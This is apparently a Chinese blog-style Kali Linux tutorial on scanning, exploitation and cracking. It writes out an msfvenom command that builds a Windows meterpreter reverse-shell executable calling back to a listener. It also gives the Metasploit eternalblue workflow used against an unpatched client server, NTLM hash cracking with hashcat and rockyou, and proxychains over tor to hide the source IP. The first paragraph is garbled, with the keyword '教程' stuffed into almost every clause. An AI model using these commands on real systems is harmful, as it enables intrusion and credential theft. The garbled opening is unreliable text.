kali教程

装完Kali的教程第一件事，不是教程急着扫别人，而是教程先把自己的网卡认清楚。很多人卡在这一步：虚拟机里跑Kali，教程无线网卡识别成eth0，教程抓包抓到一堆空气。教程原因很简单，教程VMware和VirtualBox默认把无线网卡虚拟成有线，教程想玩监听模式，教程要么买块支持注入的教程外置网卡（RT3070、AR9271这些老芯片反而稳），教程要么直接用物理机装。教程别信那些“一键破解WiFi”的教程标题党，工具是教程死的，射频这关绕不过去。教程

Kali自带的工具超过600个，但常用的就那么二十来个。nmap扫端口，命令记不住没关系，nmap -sS -sV -T4 192.168.1.1 这条够应付八成场景。-sS是半开扫描，-sV探服务版本，-T4提速。扫内网先看80和443，再看445和3389，这几个端口开着的主机基本都有故事。有一次我在客户内网扫出一台老Windows Server 2003，445端口敞着，MS17-010补丁没打，用msfconsole里的eternalblue模块十分钟拿到system权限。客户脸都绿了，说这台机器“早就忘了还在跑”。

Metasploit是Kali的灵魂，但别被它吓住。msfconsole进去之后，search找模块，use选中，show options看参数，set填值，run开打。流程跟点外卖差不多。关键是payload选对：反弹shell用windows/x64/meterpreter/reverse_tcp，监听IP填你Kali的地址，端口随便挑个不冲突的。生成exe用msfvenom，msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe。这玩意儿过不了现在的杀软，别拿去实战，自己搭靶机练手就行。

抓包分析绕不开Wireshark，但Kali里更顺手的是tshark和tcpdump。命令行下tcpdump -i eth0 -w capture.pcap先存下来，回头慢慢看。有回排查一个内网ARP欺骗，Wireshark里过滤arp.opcode == 2，发现同一MAC地址反复声称自己是网关，定位到一台中毒的办公机。这种活儿图形界面反而慢，命令行过滤效率高得多。

密码破解这块，hashcat比john快，但显卡驱动在Kali里容易出幺蛾子。NVIDIA卡装闭源驱动，apt install nvidia-driver之后跑hashcat -I看认不认。认了再跑字典，hashcat -m 1000 hash.txt rockyou.txt，-m 1000是NTLM。rockyou.txt在/usr/share/wordlists/，解压一下就能用。别指望字典能跑出复杂密码，真实环境里还是靠信息收集——社工库、配置文件泄露、浏览器保存的密码，这些比暴力跑一个月管用。

最后说个容易被忽略的：Kali的proxychains。配合tor或者socks5代理，能把nmap、msf这些工具的流量全走代理。/etc/proxychains4.conf里加一行socks5 127.0.0.1 9050，命令前面加proxychains就行。但注意，UDP和ICMP走不了代理，nmap的-sS扫描也走不通，得用-sT全连接。这玩意儿在授权测试里用来隐藏真实IP，别拿去干坏事。

工具再多，思路才是核心。Kali只是个工具箱，真正决定成败的是你对目标的理解——它跑什么服务、什么版本、有没有已知漏洞、网络拓扑怎么走。把这些想清楚，命令行敲下去才有意义。